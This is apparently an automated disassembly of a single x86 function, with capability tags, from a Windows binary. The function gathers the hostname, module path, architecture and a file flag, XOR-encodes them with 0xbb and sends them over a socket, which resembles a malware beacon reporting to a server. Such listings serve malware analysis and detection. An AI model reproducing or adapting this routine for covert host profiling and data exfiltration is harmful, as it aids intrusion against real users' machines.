Function at 0x40d220
Capabilities:
Check if file exists
Encode data using xor
Get file attributes
Get hostname
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x15c
mov eax, dword [0x442754]
xor eax, esp
mov dword [esp + 0x158], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [esp + 0x30], eax
call fcn.00405e90
mov dword [0x45f404], eax
call fcn.00405610
mov dword [esp + 0x28], eax
call fcn.00405690
mov dword [esp + 0x20], eax
call fcn.00405ce0
lea ecx, [esp + 0x2c]
push ecx
push 0x45f554
mov dword [esp + 0x20], eax
mov dword [esp + 0x34], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [esp + 0xc], 0x45f554
test eax, eax
jne 0x40d295
mov dword [esp + 0xc], 0x439650
mov edx, dword [0x45f404]
mov dword [esp + 0x14], edx
call fcn.00405f20
mov dword [esp + 0x10], eax
call fcn.004057f0
mov esi, eax
mov dword [esp + 0x3c], esi
call fcn.0040cb10
cmp byte [esi + 1], 0x36
mov dword [0x45f408], eax
jne 0x40d2cc
mov byte [0x443a78], 1
jmp 0x40d2e0
push str.x86_n
call fcn.0041cb2c
add esp, 4
mov byte [0x443a78], 0
call fcn.00406010
mov dword [esp + 0x24], eax
call fcn.00405fa0
mov dword [esp + 0x34], eax
mov eax, dword [0x45f408]
mov dword [esp + 0x1c], eax
call fcn.00406920
push 0x104
lea ecx, [esp + 0x5c]
push ecx
push 0
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov byte [esp + 0x4c], 0
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov word [esp + 0x55], ax
mov byte [esp + 0x57], al
call fcn.0040cfe0
test al, al
je 0x40d352
mov edx, dword [0x43bdf4]
mov cl, byte [0x43bdfc]
mov eax, dword [0x43bdf8]
mov dword [esp + 0x4c], edx
mov byte [esp + 0x54], cl
jmp 0x40d377
mov edx, dword [0x43be00]
mov cx, word [0x43be08]
mov eax, dword [0x43be04]
mov dword [esp + 0x4c], edx
mov dl, byte [0x43be0a]
mov word [esp + 0x54], cx
mov byte [esp + 0x56], dl
mov dword [esp + 0x50], eax
xor eax, eax
mov byte [esp + 0x40], 0
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov word [esp + 0x49], ax
mov byte [esp + 0x4b], al
call fcn.0040d1a0
test eax, eax
jne 0x40d3b1
mov eax, dword [0x43be0c]
mov ecx, dword [0x43be10]
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], ecx
jmp 0x40d3ed
cmp eax, 1
jne 0x40d3cb
mov edx, dword [0x43be14]
mov eax, dword [0x43be18]
mov dword [esp + 0x40], edx
mov dword [esp + 0x44], eax
jmp 0x40d3ed
cmp eax, 2
jne 0x40d3ed
mov ecx, dword [0x43be1c]
mov edx, dword [0x43be20]
mov eax, dword [0x43be24]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], edx
mov dword [esp + 0x48], eax
mov ebx, dword [0x45f418]
cmp ebx, 1
jle 0x40d4c3
xor esi, esi
lea ecx, [esi + 1]
cmp ebx, ecx
jle 0x40d432
jmp 0x40d410
mov edx, dword [0x45f414]
mov eax, dword [edx + ecx*4]
lea edi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40d420
sub eax, edi
inc ecx
lea esi, [esi + eax + 1]
cmp ecx, ebx
jl 0x40d410
push esi
call fcn.0041c606
add esp, 4
mov dword [0x443b84], eax
test eax, eax
jne 0x40d450
mov dword [0x443b84], 0x439650
jmp 0x40d4c3
mov ebx, 1
mov byte [eax], 0
cmp dword [0x45f418], ebx
jle 0x40d4c3
jmp 0x40d467
mov eax, dword [0x443b84]
cmp ebx, 1
jle 0x40d481
lea edi, [eax - 1]
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40d470
mov ax, word [0x43ace4]
mov word [edi], ax
mov ecx, dword [0x45f414]
mov ecx, dword [ecx + ebx*4]
mov edx, ecx
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d490
mov edi, dword [0x443b84]
sub ecx, edx
mov esi, edx
mov edx, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40d4a4
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
cmp ebx, dword [0x45f418]
jl 0x40d462
call fcn.00405aa0
mov esi, eax
test esi, esi
jne 0x40d4d3
mov esi, 0x439650
push 0x439d94
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40d4f1
mov edx, 0x31
mov word [0x45f410], dx
jmp 0x40d4fc
mov eax, 0x30
mov word [0x45f410], ax
push 0x43a980
push 0x45f410
push 0x43aec4
push esi
mov ecx, dword [0x443b84]
push 0x43aec4
push ecx
push 0x43aec4
mov ecx, dword [esp + 0x54]
lea edx, [esp + 0x5c]
push edx
push 0x43aec4
mov edx, dword [esp + 0x40]
lea eax, [esp + 0x70]
push eax
push 0x43aec4
push str.None
mov eax, dword [esp + 0x64]
push 0x43aec4
push ecx
mov ecx, dword [esp + 0x5c]
push 0x43aec4
push edx
mov edx, dword [esp + 0x7c]
push 0x43aec4
push eax
mov eax, dword [esp + 0x58]
push 0x43aec4
push ecx
mov ecx, dword [esp + 0x64]
push 0x43aec4
push edx
mov edx, dword [esp + 0x64]
push 0x43aec4
push eax
mov eax, dword [esp + 0x78]
push 0x43aec4
push ecx
mov ecx, dword [esp + 0x88]
push 0x43aec4
push edx
mov edx, dword [esp + 0x98]
push 0x43aec4
push eax
push 0x43aec4
push ecx
push 0x43aec4
push str.0.0.0.0
push 0x43aec4
push edx
push 0x43be54
push 0x25
call fcn.00402eb0
mov ebx, eax
add esp, 0x98
test ebx, ebx
je 0x40d628
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d5d0
sub eax, edx
mov edi, eax
lea eax, [edi + 1]
push eax
call fcn.0041c606
mov esi, eax
add esp, 4
lea eax, [edi + 1]
push eax
push 0
push esi
call fcn.00421fd0
add esp, 0xc
test esi, esi
je 0x40d619
push edi
push ebx
push esi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test edi, edi
je 0x40d619
lea ecx, [ecx]
xor byte [eax + esi], 0xbb
inc eax
cmp eax, edi
jb 0x40d610
mov eax, dword [esp + 0x30]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [esp + 0x164]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret